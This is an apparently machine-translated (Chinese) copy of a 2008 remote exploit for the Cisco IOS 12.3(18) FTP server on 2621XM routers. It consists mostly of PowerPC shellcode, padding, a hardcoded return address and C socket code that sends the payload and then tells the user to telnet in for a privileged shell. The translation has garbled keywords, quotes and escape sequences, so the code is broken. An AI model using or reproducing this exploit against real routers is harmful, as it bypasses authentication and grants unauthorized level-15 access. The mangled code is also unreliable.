思科ios 12.3(18)ftp服务器远程利用

思科IOS FTP服务器远程利用

安迪·戴维斯2008年思科

咨询ID:思科2007年5月- sa - 20070509 - iosftp特定硬编码地址IOS 12.3(18)2621 

xm routerRemoves要求进行身份验证和升级到15级，保护无辜的遗漏了一个关键的步骤,这意味着shellcode只会执行当路由器连接到gdb。我相信PowerPC的外壳程序会解决这个问题……

由于吉安Chawdhary和Varun Uppal spenton最初的IOS的小时安全researchiosftpexploitgooglemail点com

#包括#包括# # #定义端口21

int main(int argc, char **argv){unsigned char sendbuf[] =。

“马其顿”

/ *。数据，0x8182da60#指向VTY info */。

" \ x3c \ x80 \ x81 \ x83“/ * lis 4,vty_info@ha * / " \ x38 \ x84 \ xda \ x60“/ * la4,vty_info@l(4)* / " \ x7d \(\×\ x78“/ * xor 8 8 8 * /”表示就是“\ \ x7c \ xe4 \ x40 x2e / * lwzx7,4,8 * / " \ x91 \ x07 \ x01 \ x74“/ * 8372(stw)(7)* / " \ x39 \(\ xff \ xff“/ * subi8,8、1 * / " \ x38 \ xe7 \ x09 \ x1a“/ * addi7,7233 * / " \ x91 \ x07 \ x04 \ xca“/ * stw 8,1226(7)* / " \ x7d \ x03 \ x43 \ x78“/ * mr3,8 * / " \ x3c \ x80 \ x80 \ xe4“/ * lis 4,terminate@ha * / " \ x38 \ x84 \(\ x6c“/ * la4,terminate@l(4)* / " \ x7c \ x89 \ x03 \ xa6“/ * mtctr 4 * / " \ x4e \ x80 \ x04 \ x20的“/ * bctr * /

。

“\ x61 \ x61 \ x61 \ x61 " / *填充* / " \ x61 \ x61 \ x61 \ x61“/ *填充* / " \ x61 \ x61 \ x61 \ x61“/ *填充* / " \ x61 \ x61 \ x61 \ x61“/ *填充* / " \ x61 \ x61 \ x61 \ x61“/ *填充* / " \ x61 \ x61 \ x61 \ x61“/ * * /

“\ x80 \ x06 \ x23 \ xB8 " / *返回地址* /“\ x0d \ x0a”;

当溢出发生时，r26 0x14指向shellcode */。

无符号字符recvbuf[256];

如果(命令行参数个数!= 2){printf(“\nCisco IOS FTP服务器远程攻击Andy Davis 2008\n”);

printf(" \ nUsage:% s \ n”,argv[0]),退出(1);}

servaddr。sin_family = AF_INET;servaddr.sin_addr。s_addr = inet_addr(argv[1]);servaddr。sin_port = htons(港口);

s =套接字(AF_INET, SOCK_STREAM, 0);connect (s， (struct sockaddr *) &servaddr, sizeof(servaddr));printf ("\nCisco IOS FTP服务器远程利用Andy Davis 2008\n");printf (" ios12.3(18)，在2621XM路由器\n\n");printf("发送攻击…\n\n");

如果(发送(s, sendbuf, sizeof(sendbuf)-1, 0) == 0){printf(“错误发送包…退出\n\n”);退出(1);}recv (s, recvbuf, sizeof(recvbuf)-1,0);printf(“现在telnet到路由器的一个shell…\n\n”);}